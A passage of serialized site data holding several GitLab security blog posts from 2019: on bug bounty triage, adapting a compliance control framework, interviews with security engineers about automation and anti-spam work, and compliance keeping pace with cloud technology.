\"@type\": \"Article\",\n        \"headline\": \"What we learned by taking our bug bounty program public\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ethan Strike\"}],\n        \"datePublished\": \"2019-07-19\",\n      }",{"title":4942,"description":4943,"authors":4947,"heroImage":2994,"date":4949,"body":4950,"category":14,"tags":4951},[4948],"Ethan Strike","2019-07-19","\nWhen [we opened up our bug bounty program to the public back in December 2018](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), we weren’t sure WHAT to expect. Certainly we anticipated a flood of new reports which would keep us occupied for quite some time, and the community did not disappoint! While this was true for the first few months, that spike has since evened itself out. We did encounter a few surprises, though, around the net number of new, unique reporters and the number of reports from unique reporters.\n\nIn the first seven weeks after making the program public, 42% of all reporters were first-time contributors, and 64% of all the reports received since going public were from first-time reporters to the GitLab program.\n\nSince taking the program public, we roughly doubled the number of valid reports in the program’s history. We have had a paid, private program since 2017, and this program included only the top 1-10% of HackerOne contributors, so opening our program up publicly has not only engaged a broad cross-section of the reporter community, but also made our products and services more secure. We took a closer look at [how we measure success in our public bug bounty program in an earlier blog post](/blog/inside-the-gitlab-public-bug-bounty-program/).\n\n## Triage and response\nResponding to the sheer volume of new reports coming in presents its own set of challenges. So, what does our triage and response process look like?\n\nFor new reports we use an automated bot to provide the initial response to reporters that includes our current triage ETA. This gives an estimation of how long it will take for our team to triage their report. Reports which clearly have a \"critical\" impact will be triaged first. Then, everything else is triaged according to the order submitted. This is important because it helps us to identify duplicate reports and gives fair priority.\n\nFor effective triage, it's paramount for reports to include clear proof of concepts and any other evidence which makes the impact evident to our triage team. Here we classify impact as the amount of affected assets multiplied against their sensitivity levels, according to our data classification policy. This and other factors help us to determine the appropriate severity and priority of an issue.\n\nWe also use an internally developed slack command to import triaged reports from HackerOne and into GitLab issues. We define the impacted project and appropriate labels as input, and then the script creates a new confidential issue. The correct team is then assigned, specifically the [product managers](/handbook/product/categories/), where they will take further action to schedule the fix with the engineering teams. Read more on our [issue triage process](/handbook/security/#issue-triage).\n\n![Thank you to our new reporters!](https://about.gitlab.com/images/blogimages/New-reporters-July2019.png){: .shadow.medium.center}\n\nRefining our triage process is just one area where we’ve built improvements based on lessons learned and the evolution of the public program over the last six months. If we look at overall results, we’ve got both positive and not-so-positive results we’re analyzing and improving upon. Our public program has certainly been impactful in the number of vulnerabilities we've identified:\n* From the public program debut through July 3rd, we received 205 valid vulnerabilities. Of that total, 89 vulnerabilities (43%) were from reporters new to the program.\n* In that same period, we received 10 critical-severity vulnerabilities, three of which were from new reporters.\n* And, of the 33 high-severity vulnerabilities reported, 24 (72%) were from new reporters.\n\nOn the flip side, we received an increased number of false positives. Of the 677 reports received through July 3rd, 277 were false positives; 215 (78%) of which were by reporters that started participating after the program went public. Overall though, we consider it a net win, because even these false positives allow us to refine and improve our triage and response processes.\n\n## Timely and accurate communications\nThe one area where we’re most looking to improve upon is communication. An effective feedback loop with our HackerOne reporters is vital to continued engagement and effective collaboration. Naturally, with the increased number of reports it’s even more challenging to keep reporters in the loop with timely information. Luckily, this is one area in which automation can help.\n\nPreviously, our security automation team had put together a bot that made first contact when a report was submitted. As the program has matured, our automation team has added the ability to send the reporter the expected date of fix, based on the milestone assigned to the issue; providing further transparency into our triage and response process. Initially, this information was collected by the triaging engineer, but utilizing the GitLab API allows for communication in a more timely manner.\n\nOutside of automation, we’ve implemented a rotation schedule within our team, which assigns a dedicated individual for H1 response and triage each week. This simple system has allowed us to work through our backlog and increase our responsiveness. We’ll continue to explore ways to keep our reporters best informed.\n\nWe’ve also tweaked how fixes are reported and scheduled based on lessons learned from the first few weeks of our public program. Previously, fixes were reported to engineering managers for each team, who fit them into each development cycle as needed. With the increased number of findings, however, we’ve adjusted the process so that the security team now assigns the due date, but the product manager is the single decision-maker for balancing feature and security deliverables. This allows us to better track company response times, and work with development teams to prioritize fixes.\n\n## Transparency and collaboration\n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency) is one of our core values; everything we make at Gitlab is public by default and HackerOne reports are no different. We believe that publicly disclosing the reports we receive through our bug bounty program helps reduce the threshold to contribution because it allows researchers to learn and develop on top of other researchers’ findings.\n\nIt’s also noteworthy that the public bug bounty findings help us identify areas to focus on for developer secure coding training. For example, if we see a trend of a certain class of vulnerabilities, we can target education efforts for our developers around the recommended best practices to reduce the number of future reports relating to that class of vulnerabilities.\n\nOur bug bounty program has also delivered data and findings that prompted us to refine and improve how we approach [application security](/topics/devsecops/) at GitLab. Due to the significant volume of authorization issues reported, we realized that ensuring precision and accuracy of our [permissions model](https://docs.gitlab.com/ee/user/permissions.html) across the whole platform is an area that needs improvement. An efficient solution we are investigating is to automate these authorization checks via CI.\n\nAnother key finding this program helped us uncover is that certain classes of vulnerabilities appear repeatedly. Therefore we advocate code reuse through the use of security-focused libraries. This consolidates the security controls needed to prevent vulnerability classes such as SSRF from reappearing.\n\nWe’re proud to see the benefits and value being generated by our bug bounty program and specifically our reporter community, spread far beyond GitLab and across the industry.\n\nYou can always see the most up-to-date program stats on our public [HackerOne dashboard](https://hackerone.com/gitlab).\n\nCover image by [markus spiske](https://www.pexels.com/photo/photo-of-green-data-matrix-1089438/) on [Pexels](https://www.pexels.com)\n{: .note}\n",[267,14,675,899],{"slug":4953,"featured":6,"template":677},"what-we-learned-by-taking-our-bug-bounty-program-public","content:en-us:blog:what-we-learned-by-taking-our-bug-bounty-program-public.yml","What We Learned By Taking Our Bug Bounty Program Public","en-us/blog/what-we-learned-by-taking-our-bug-bounty-program-public.yml","en-us/blog/what-we-learned-by-taking-our-bug-bounty-program-public",{"_path":4959,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4960,"content":4966,"config":4973,"_id":4975,"_type":16,"title":4976,"_source":17,"_file":4977,"_stem":4978,"_extension":20},"/en-us/blog/creating-the-gitlab-controls-framework",{"title":4961,"description":4962,"ogTitle":4961,"ogDescription":4962,"noIndex":6,"ogImage":4963,"ogUrl":4964,"ogSiteName":767,"ogType":768,"canonicalUrls":4964,"schema":4965},"Adobe CCF becomes GitLab's open source control framework","We've implemented and adapted an open source compliance framework. Now we're sharing our process and tools so you can adapt and customize it too.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683200/Blog/Hero%20Images/geraldo-stanislas-unsplash.jpg","https://about.gitlab.com/blog/creating-the-gitlab-controls-framework","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Turning the Adobe CCF into the GitLab Control Framework (it's all open source!)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeff Burrows\"}],\n        \"datePublished\": \"2019-07-10\",\n      }",{"title":4967,"description":4962,"authors":4968,"heroImage":4963,"date":4970,"body":4971,"category":14,"tags":4972},"Turning the Adobe CCF into the GitLab Control Framework (it's all open source!)",[4969],"Jeff Burrows","2019-07-10","\nIn my previous blog post, I talked about [how GitLab went about choosing an overarching compliance framework](/blog/choosing-a-compliance-framework/) that would optimize satisfying the requirements of underlying regulatory or industry best practice requirements. Today I’m blogging about the next steps in that process, and will walk through how we implemented the [Adobe open source compliance framework (CCF)](https://blogs.adobe.com/security/2017/05/open-source-ccf.html) and adapted it to our needs, resulting in the GitLab Control Framework (GCF).\n\n## Implementation and adaptation\n\nWhen you download the Adobe CCF you get two PDF documents: a whitepaper on the state of compliance at Adobe and a table of all the generic CCF controls. The first thing we did was to convert the CCF controls PDF to a CSV so we could more easily make changes to the data. Most of these changes were to make the control statements specific to GitLab and our compliance needs.\n\nWe were careful when making changes to ensure that we weren't changing anything foundational about the statement, as this could break the mapping to underlying requirements. For example, [PCI DSS](https://www.pcisecuritystandards.org/documents/ASV_Program_Guide_v3.0.pdf) states that an organization must “run internal and external network vulnerability scans at least quarterly and after any significant change in the network (such as new system component installations, changes in network topology, firewall rule modifications, product upgrades).” If you were to make the frequency of the [Vulnerability Scans control](/handbook/security/security-assurance/security-compliance/guidance/vulnerability-and-patch-management.html#controls) “annual” instead of “quarterly,” that control would no longer map to PCI DSS control 11.2 since that underlying PCI control requires at least quarterly scanning.\n\n### Now we have a set of security controls specific to GitLab’s compliance needs\n\nWe found it helpful to create a prefix for each domain (e.g. AM for Asset Management, BC for Business Continuity, etc.) of controls and use these to create control numbers for each control (e.g. AM.1.01, BC.1.04, etc.). With this information in place, the real fun started.\n\nThere are 184 default controls. This number will expand or contract based on your individual needs. For example, if you have a need for FedRamp certification you might have different control requirements than an organization that doesn't. This is a lot of controls to try and roll out all at once, and most organizations don’t need to address all of the underlying control frameworks simultaneously. At GitLab, we knew that a SOC2 certification was the first compliance priority for us and, based on these needs, we started by prioritizing all controls that mapped to SOC2’s Common Criteria. This gave us a list of 63 controls – a much more manageable starting point.\n\nFor these 63 controls we wanted to build out additional content relating to each. In particular, we wanted a Markdown file that addressed each of the following topics for each control:\n\n* Control Statement\n* Context\n* Scope\n* Ownership\n* Implementation Guidance\n* Reference Links\n* Examples of evidence an auditor might request to satisfy this control\n* Framework Mapping\n\nMost of this information can be seen within the [security control pages in our handbook](/handbook/security/security-assurance/security-compliance/sec-controls.html); however, some of these topics contain sensitive information so we have a repo only accessible to GitLab team members.\n\n### The last steps in this implementation process were to:\n\n1. Identify the teams within GitLab that were responsible, accountable, consulted, and informed for each of our 63 prioritized controls, and then\n2. Perform a gap analysis for each of these controls to see what our starting point was for each, in terms of our state of compliance.\n\nThe above steps each build on the previous ones, and help to ensure enough baseline context and requirements were established and that we understood the context and scope for each control sufficiently to perform the gap analysis.\n\n## Adopting the GCF and future plans\n\nOur goal in sharing the details behind our compliance framework implementation is to lessen the adoption effort for smaller companies and GitLab customers alike. We’ve created a [public repo that has a copy of the csv file we adapted from the Adobe CCF](https://gitlab.com/gitlab-com/gl-security/public-gcf) and a link to a view-only [Google Sheet with all of these controls and variables in place](https://docs.google.com/spreadsheets/d/1xmACTt5WD_u8OL0z8G0oUv7Di9J4DWHuy2kamch_7-g/edit#gid=907478311) to make adaptation to your organization as easy as possible.\n\nWe’re currently working on scripts that turn SOC2 and HIPAA-related controls into individual issues within a GitLab project. We’re also working on a CSV-to-JSON tool that would easily convert the control CSV into a large data blob, making deployment for certain organizations easier.\n\n**We plan to make these tools available as they are ready but we also want to hear from you.** *What features would make the adoption of these controls easier? How are you using GitLab to help with your compliance needs? What else can GitLab contribute to the security compliance industry to help companies of all sizes align with security best practices and reduce the effort needed for external security validations/certifications?* **Leave us a comment below!**\n\nPhoto by [geraldo stanislas](https://unsplash.com/@pixelsucker?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash\n{: .note}\n",[958,14],{"slug":4974,"featured":6,"template":677},"creating-the-gitlab-controls-framework","content:en-us:blog:creating-the-gitlab-controls-framework.yml","Creating The Gitlab Controls Framework","en-us/blog/creating-the-gitlab-controls-framework.yml","en-us/blog/creating-the-gitlab-controls-framework",{"_path":4980,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4981,"content":4987,"config":4992,"_id":4994,"_type":16,"title":4995,"_source":17,"_file":4996,"_stem":4997,"_extension":20},"/en-us/blog/ask-gitlab-security-alexander-dietrich",{"title":4982,"description":4983,"ogTitle":4982,"ogDescription":4983,"noIndex":6,"ogImage":4984,"ogUrl":4985,"ogSiteName":767,"ogType":768,"canonicalUrls":4985,"schema":4986},"Ask GitLab Security: Alexander Dietrich","What are the challenges and rewards of working security for a growing, cloud native company? We grill one of our senior security engineers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679726/Blog/Hero%20Images/ask-security-cover.png","https://about.gitlab.com/blog/ask-gitlab-security-alexander-dietrich","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask GitLab Security: Alexander Dietrich\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-06-26\",\n      }",{"title":4982,"description":4983,"authors":4988,"heroImage":4984,"date":4989,"body":4990,"category":14,"tags":4991},[3178],"2019-06-26","\nWhat’s it like working to secure one of the most transparent organizations in the world? To be a security practitioner in a highly iterative and agile environment? What does that look like and what kind of people thrive in that environment? It takes a certain individual... curious, analytical, collaborative and dedicated. Of course, there’s more than meets the eye when it comes to our GitLab Security team; they also tackle the hard topics like the age-old 'Is a hotdog a sandwich?' debate, Vim vs Emacs, and Linux distros.\n{: .note}\n\nWe take securing the GitLab product and service and protecting our company very seriously. But, we try not to take ourselves too seriously. We hope you learn something new in [this series](/blog/tags.html#ask-GitLab-security), but that you enjoy yourself too.\n{: .note}\n\n\n![Alexander Dietrich Headshot](https://about.gitlab.com/images/blogimages/dietrich.png){: .small.right.wrap-text} **Name:** Alexander Dietrich\n\n**Title:** Senior security engineer, [Automation](/handbook/security/#security-automation)\n\n**How long have you been at GitLab?** I started in September 2018\n\n**GitLab handle:** [@adietrich](https://gitlab.com/adietrich)\n{: #tanuki-orange}\n\n**Connect with Alexander:** [LinkedIn](https://www.linkedin.com/in/alexanderdietrich/)\n\n\n#### Tell us what you do here at GitLab:\nI create tools for the security department to automate tasks that were previously done mostly manually (or not at all), so we can perform our work more quickly, consistently, and (I hope) delightfully. Security teams are rarely large teams, and security automation focuses on scaling the team.\n\n#### What’s the most challenging or rewarding aspect of your role?\nNothing I have worked on so far has been cookie-cutter; there’s a continuous flow of new technologies to learn and use cases to cover, which I find challenging and rewarding at the same time. GitLab is a cloud native company, so having the full range of services at our disposal to solve a problem can be tempting (and potentially overwhelming), at which point it’s good to remember our [value of efficiency](https://handbook.gitlab.com/handbook/values/#efficiency) and go for the “[boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions).” Your team members will be much happier too, when your PagerDuty, Slack, and GitLab integration is only a few lines of Python running [serverless](/topics/serverless/) and just works.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\n- Making sure we meet our remediation goals for security issues, i.e. through automated escalation (if necessary). Some examples:\n     * [Build escalation engine for issues escalation](https://gitlab.com/gitlab-com/gl-security/security-department-meta/issues/383)\n     * [Workflow for escalation engine](https://gitlab.com/gitlab-com/gl-security/security-department-meta/issues/446)\n- Reducing friction for our application security engineers: An example would be the automated import of HackerOne reports directly into GitLab issues or improving our engagement with HackerOne reporters through automated updates and responses.\n- Laying the groundwork for GitLab’s [Zero Trust initiative](/handbook/security/#zero-trust); currently, I’m focusing on building onto our [SSO solution](/handbook/business-technology/okta/).\n\n#### How did you get into security?\nI have been following IT security topics for many years from a defender perspective, due to running things on the internet and an interest in privacy-enhancing technologies. Professionally, I switched to security from a regular software development position, when my previous employer needed a dedicated security team for their development organisation. Suddenly I was responsible not only for secure software development practices, but also awareness of potential threats to our services stack and operational security of our cloud environments. It was very exciting, and I learned a lot, especially about the value of automation.\n\n#### In the past decade, how has your area of expertise changed?\nSignificantly, I started out writing software that was sold in boxes in stores (remember those?) and saw the entire business shift to “cloud native,” with me changing focus from writing software to making sure that software is written and operated securely. Being able to apply my general security-mindedness at work was a great opportunity, and it’s kind of funny to see the trend for security to “shift left,” towards where I’m originally coming from. Nice meeting y’all!\n\n#### From the perspective of your role, what’s GitLab doing better than anyone else in terms of security?\nWhen you consider where GitLab is in its evolution, the size and diversity of the security department demonstrates very clearly that security is not an afterthought here. I love being able to focus on my area of expertise and collaborating with teams that are equally well-staffed and dedicated. Initiatives like Zero Trust and the in-house Red Team also show a proactive attitude towards security, rather than just patching the latest vulnerabilities.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend?\nUse a password manager and generate unique passwords for everything. That way one website losing your data will not put all your other accounts at risk. Keep your systems updated, so you don’t get bitten by security holes that are years old. Ok, that was two pieces of advice.\n\n#### What do you look forward to the most in security in the next five years?\nI’m anxious to see the industry overcome the dichotomy of security and usability, and secure-by-default becoming the new normal. This might take longer than five years, though.\n\n#### Is there an area of security research you think deserves more attention?\nThe design of decentralized systems that are secure and usable should receive more attention. When we read about the latest mind-boggling data breach, we often overlook the fact that bad operational security may be one cause, but another is the practice of piling up mountains of data in the first place.\n\n#### What is something you advocate as a security professional, but find the most difficult to put into practice personally?\nApplying the “principle of least privilege” is more difficult than I’d like. Giving a user or service only the required amount of permissions for certain tasks is intuitively a sensible strategy, yet doing this in practice is often hampered by obscure systems or documentation. I have yet to encounter a cloud provider with a permission system that is flexible, easy to use and well documented at the same time. It’s no surprise that software engineers tend to take the shortcut of overly broad permissions in this situation, I’m afraid.\n\n#### What's your favorite security research paper or thought leadership piece?\nI’m going to pick “[Tor: The Second-Generation Onion Router](https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf),” because it lays the foundation for a system that provides accessible, secure communication for everyone to this day.\n\n## Now, for the questions you *really* want to have answered:\n\n#### Vim or Emacs?\nVim, because I have at least basic proficiency here. I might dive into Emacs though, if I ever get tired of Linux.\n\n#### Favorite Linux distro?\nI’ve been very happy with Ubuntu, both on the server and desktop, even if they are occasionally a bit “ambitious” with their changes.\n\n#### Is a hotdog a sandwich?\nNo, the geometry is all wrong.\n\n#### Gif or Gif? (Gif or Jif?)\nI’m more concerned about people who pronounce “router” incorrectly, to be honest.\n\n#### What's been your most interesting experience while traveling?\nOther than simply encountering a new place, probably tasting dishes and/or drinks I didn’t know before. When we went to New Orleans for [GitLab Contribute](/blog/contribute-wrap-up/), I was introduced to a whole range of Cajun cuisine that I had never had, which was amazing.\n\n#### What is one food or beverage you can't live without?\nDarjeeling tea\n\n#### Who is your favorite superhero and why?\nAnyone who comes to the aid of their fellow human beings, even at great personal risk.\n\n#### Have a question to ask the GitLab Security team? Leave a comment below!\n",[4310,675,14,14],{"slug":4993,"featured":6,"template":677},"ask-gitlab-security-alexander-dietrich","content:en-us:blog:ask-gitlab-security-alexander-dietrich.yml","Ask Gitlab Security Alexander Dietrich","en-us/blog/ask-gitlab-security-alexander-dietrich.yml","en-us/blog/ask-gitlab-security-alexander-dietrich",{"_path":4999,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5000,"content":5005,"config":5010,"_id":5012,"_type":16,"title":5013,"_source":17,"_file":5014,"_stem":5015,"_extension":20},"/en-us/blog/ask-gitlab-security-roger-ostrander",{"title":5001,"description":5002,"ogTitle":5001,"ogDescription":5002,"noIndex":6,"ogImage":4984,"ogUrl":5003,"ogSiteName":767,"ogType":768,"canonicalUrls":5003,"schema":5004},"Ask GitLab Security: Roger Ostrander","What’s it like working day and night to kill spam, Bitcoin mining, malware and more? Meet our security team.","https://about.gitlab.com/blog/ask-gitlab-security-roger-ostrander","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask GitLab Security: Roger Ostrander\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-06-14\",\n      }",{"title":5001,"description":5002,"authors":5006,"heroImage":4984,"date":5007,"body":5008,"category":14,"tags":5009},[3178],"2019-06-14","\nWhat’s it like working to secure one of the most transparent organizations in the world?  To be a security practitioner in a highly iterative and agile environment? What does that look like and what kind of people thrive in that environment? It takes a certain individual... curious, analytical, collaborative and dedicated. Of course, there’s more than meets the eye when it comes to our GitLab Security team; they also tackle the hard topics like the age-old 'Is a hotdog a sandwich?' debate, Vim vs Emacs, and Linux distros.\n{: .note}\n\nWe take securing the GitLab product and service and protecting our company very seriously. But, we try not to take ourselves too seriously. We hope you learn something new in this series, but that you enjoy yourself too.\n{: .note}\n\n\n![Roger Ostrander Headshot](https://about.gitlab.com/images/blogimages/rostrander.png){: .small.right.wrap-text} **Name:** Roger Ostrander\n\n**Title:** Senior security engineer, [Abuse Operations](/handbook/security/#abuse-operations)\n\n**How long have you been at GitLab?** I started on Mar. 26, 2018\n\n**GitLab handle:** [@rostrander](https://gitlab.com/rostrander)\n{: #tanuki-orange}\n\n**Connect with Roger:** [LinkedIn](https://www.linkedin.com/in/roger-ostrander-835848ba/) / [Twitter](https://twitter.com/atiaxi)\n\n\n#### Tell us what you do here at GitLab:\nI kill spam, I kill Bitcoin mining, I kill phishing and malware. If it’s bad, I kill it. And this isn’t just removal; I create automated tools that let us detect all these things and stop them ahead of time.\n\n#### What’s the most challenging or rewarding aspect of your role?\nI’m up against everyone in the world out to make a quick buck by spamming, which means it’s an arms race. I improve my detection, they find another way in, I detect that, they respond, etc. It’s definitely a challenge, and the reward is, of course, when I get to just completely wipe out a ton of spam or prevent it from being created in the first place. Who hasn’t seen spam and thought to themselves, “I wish I could do something about that right now”? I can!\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\n- Snippet spam is currently a big problem, where people will put spammy search terms in our snippets hoping that search engines will pick up on them.  Recently, there was an [API change](https://gitlab.com/gitlab-org/gitlab-ce/issues/41888) that’ll make that a lot easier to deal with.\n\n- Similarly, people create groups with names like “Watch this free movie online,” which are not only spam but also tend to be vectors for malware. So anyone who searches for “watch \u003Cpopular movie here> free” hoping to pirate a film instead gets a link to a big, heaping pile of keylogging. Keeping on top of that is an ongoing priority, because of course there’s plenty of money to be made by taking over someone’s computer.\n\n#### How did you get into security?\nIt started when I interviewed at Reddit nearly a decade ago – at first, I thought it was for an ordinary backend web development position. Then, halfway through the interview when I was talking to the CEO, he said “We’re actually more interested in your machine learning background, to fight spam.” Ever been in a job interview when you realize you’ve been interviewing for the wrong thing the entire time? I had to change gears pretty quickly, but it worked and I’ve been busting up bad actors ever since.\n\n#### In the past decade, how has your area of expertise changed?\nQuite a bit – I started out as a general backend web programmer, got into machine learning and spamfighting, where I learned quite a bit of frontend technology – even if I am terrible at the actual design work that generally accompanies that.\n\nBut the biggest influence on the breadth of my expertise came from a job that wasn’t actually a programming job at all: It was a role as a solutions architect for a NoSQL database company. If that sounds strangely vague to you, then you have some idea of what I did. It was a technical sales position where I’d fly on-site to various customers (some of them household names) and help them set up our product. The sheer amount of “big picture” experience I got from that was invaluable. When you’re programming, it’s very easy to fall into the specific area that you’re working on. Even if you do have backend experience, it’s hard to get a full idea of how something’s rolled out across a whole company, possibly worldwide. So, the sheer scope of that role allowed me to get a more complete view of how an entire system ought to work at the largest possible scale.\n\n#### Tell us about a time when you failed professionally. How did you recover and what did you learn?\nI once banned the entire front page of Reddit. We were dealing with issues similar to what I’m dealing with today, the “watch free movies” kind of spam/malware scenario I described above, and I’d noticed a pattern: Spammers would create a subreddit of their own and populate it with spam, for SEO purposes. So I created a processing script to find that behavior and made a list of all the subreddits they’d posted in and naively assumed they’d only posted to their own. I made a list, but it had several hundred items on it, so I spot checked them and it seemed everything was okay.\n\nSurprise, it wasn’t! They’d posted in pretty much every popular subreddit, meaning my script banned high-profile, high-traffic subreddits. Also this was during the company’s all-hands so every single person in the company was asking “What happened to movies?” My response, of course, was a very calm, “I’M WORKING ON IT!” What I learned from that one was to fully check my results instead of simply spot checking, and that keeping logs of what your destructive scripts have done is mandatory.\n\n#### GitLab is very unique in that we strive to be incredibly transparent... about everything. What sort of challenges does that present to you as a security professional? What opportunities?\nThis is an enormous issue for me, because while I am in the security department my area of expertise is anti-abuse. So, for example, if a vulnerability is reported to security, it won’t initially be public. Generally it’s only made public while it’s fixed. But when I come up with a new tactic for fighting spam… I don’t ever want that to be public! Even, perhaps especially, if it’s a simple tactic. If spammers knew specifically how they were being detected, they’d change their behavior accordingly. So it’s a very difficult balancing act.\n\nEven so, there are opportunities – the snippets API feature, for example, came about because someone outside of GitLab requested it. They wanted to use it for anti-spam purposes just like I did, but the API doesn’t do any spam checking on its own. So that got to be developed in full view with all the benefits transparent development brings, but without giving away any secrets.\n\n## Now, for the questions you *really* want to have answered:\n\n#### Vim or Emacs?\nI learned VI(M) long ago as a practical necessity, and I highly recommend it. Every Unix system everywhere is going to have at least VI on it as a minimum, so if you know how to work with that then you can get something done no matter where you are. Emacs used to be my go-to “IDE”-type editor, but nowadays I generally use more specialized IDEs.\n\n#### Is a hotdog a sandwich?\nMy wife works for the USDA, so she has opinions on this. Legally backed opinions, as it happens. Frankfurters are specifically quoted in policy as a “sandwich type product.” [Citation: United States Department of Agriculture, \"Food Standards and Labeling Policy Book.\"](https://www.fsis.usda.gov/wps/wcm/connect/7c48be3e-e516-4ccf-a2d5-b95a128f04ae/Labeling-Policy-Book.pdf?MOD=AJPERES) And I’m wise enough to agree with my wife. And also the law, I guess.\n\n#### Is a taco a sandwich?\nA taco is just a tacoid in the category of endofoodtors. What’s the problem?\n\n#### Gif or Gif? (Gif or Jif?)\nLook at that pronunciation guide right there in the question. One of those is spelled exactly like the word whose pronunciation is being debated. Just saying.\n\n#### Have a question to ask the GitLab Security team? Leave a comment below!\n",[4310,675,14,14],{"slug":5011,"featured":6,"template":677},"ask-gitlab-security-roger-ostrander","content:en-us:blog:ask-gitlab-security-roger-ostrander.yml","Ask Gitlab Security Roger Ostrander","en-us/blog/ask-gitlab-security-roger-ostrander.yml","en-us/blog/ask-gitlab-security-roger-ostrander",{"_path":5017,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5018,"content":5024,"config":5029,"_id":5031,"_type":16,"title":5032,"_source":17,"_file":5033,"_stem":5034,"_extension":20},"/en-us/blog/when-technology-outpaces-security-compliance",{"title":5019,"description":5020,"ogTitle":5019,"ogDescription":5020,"noIndex":6,"ogImage":5021,"ogUrl":5022,"ogSiteName":767,"ogType":768,"canonicalUrls":5022,"schema":5023},"When technology outpaces security compliance","Where does today's tech transformation leave tomorrow's security compliance? A senior security analyst tackles the question.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678968/Blog/Hero%20Images/signpost-sunset.jpg","https://about.gitlab.com/blog/when-technology-outpaces-security-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"When technology outpaces security compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Luka Trbojevic\"}],\n        \"datePublished\": \"2019-06-10\",\n      }",{"title":5019,"description":5020,"authors":5025,"heroImage":5021,"date":5026,"body":5027,"category":14,"tags":5028},[4910],"2019-06-10","\nFor the past couple of years, security compliance frameworks have felt increasingly less representative of the technology of today, with good reason. Everything from computing to network security has experienced a continental shift.\n\nIt feels like just yesterday I was hunting for the best deal on T1 lines and a reliable, dedicated server host. And the design meetings held to put together an elaborate, hardened network perimeter feel fresh in my mind as well.\n\nNow we can deploy infrastructure with a few clicks (or lines of code), with load balancers not requiring any pre-warming and content delivery networks (CDNs) effortlessly at our disposal. [Serverless computing](/topics/serverless/) provisions compute resources just long enough for the job to finish, no system administration needed. On the software end, containerization has isolated applications from the environment they run in and removed reliance on the particulars of the infrastructure.\n\nAnd [zero trust](/blog/evolution-of-zero-trust/) – trust nothing in the network, always verify – is gaining traction as an alternative to the network perimeter model. At GitLab we're [on our own journey toward zero trust](https://www.youtube.com/watch?v=DrPiCBtaydM), and as the technology supporting zero trust gets better and more accessible, adoption will likely continue.\n\n### How (and where) we work is changing, too\n\nAt GitLab, we’re [all remote](/company/culture/all-remote/). In fact, I started writing this blog post in New Orleans for [GitLab Contribute](/events/gitlab-contribute/), then flew to Washington, DC for a graduation and finished the first rough draft, and now I’m at a Starbucks in the Seattle area adding the finishing touches.\n\nSo where does all this transformation leave security compliance? Well, the frameworks of five years ago were designed to help secure the technology of five years ago, which is much different than the technology used in the production environments of today. A security best practice now may have no representation in a framework designed for the security best practices of years prior, and the incredible things we’re doing for security may not be recognized by those frameworks. Because of advances and changing practices like remote work, physical security controls sometimes may not be applicable, for example.\n\n> The frameworks of five years ago were designed to help secure the technology of five years ago\n\nIn the past, technology has been outpacing security compliance, but the former is catching up thanks to individual and industry contributions and a strong enthusiasm for making security more sensible and accessible.\n\nWe're starting to see a steady adoption of the modern, changing technology landscape by compliance frameworks. Security compliance frameworks such as [FedRAMP](https://web.archive.org/web/20190514153600/https://www.fedramp.gov/about/) offer “a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services,” to simplify compliance in a cloud-first environment.\n\nAt GitLab, we're creating our own compliance controls framework and [open sourcing](/handbook/security/security-assurance/security-compliance/sec-controls.html) it as we go. This gives other organizations a practical, real-world reference on how we at GitLab approach compliance as a cloud native, all-remote company.\n\n### Progress is ongoing\n\nCompliance is changing along with the technology we use, so the story we tell of what we're doing, why, and how it aligns with compliance standards has to change along with it. At the same time, the standards have to evolve with us, so they can support and enable us as a driving force behind our efforts to protect the consumer.\n\nI think both are happening at a pace that should positively surprise us all, but there’s a natural, appropriate, and intuitive expectation from the technology community at large that security compliance frameworks be more directly relevant and supportive of security itself. This raises the bar, while sending the message that we need to be more focused on protecting the consumer than on crafting wordsmith-quality justifications for our controls and mitigations to satisfy an auditor.\n\nTo end, I’d encourage everyone to think about what security compliance frameworks could be doing to help enable security and protect customers that isn’t happening already. Then, share your thoughts, struggles, ideas, and feedback to your network and get the conversation started. We’d love to hear from you in the comments below, too!  When we collectively vocalize both our frustrations and solutions, we can work together to make incredible progress.\n\nPhoto by [Javier Allegue Barros](https://unsplash.com/@soymeraki?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash\n{: .note}\n",[14],{"slug":5030,"featured":6,"template":677},"when-technology-outpaces-security-compliance","content:en-us:blog:when-technology-outpaces-security-compliance.yml","When Technology Outpaces Security Compliance","en-us/blog/when-technology-outpaces-security-compliance.yml","en-us/blog/when-technology-outpaces-security-compliance",{"_path":5036,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5037,"content":5042,"config":5047,"_id":5049,"_type":16,"title":5050,"_source":17,"_file":5051,"_stem":5052,"_extension":20},"/en-us/blog/ask-gitlab-security-paul-harrison",{"title":5038,"description":5039,"ogTitle":5038,"ogDescription":5039,"noIndex":6,"ogImage":4984,"ogUrl":5040,"ogSiteName":767,"ogType":768,"canonicalUrls":5040,"schema":5041},"Ask GitLab Security: Paul Harrison","What’s it like working to secure one of the most transparent organizations in the world? Meet our security 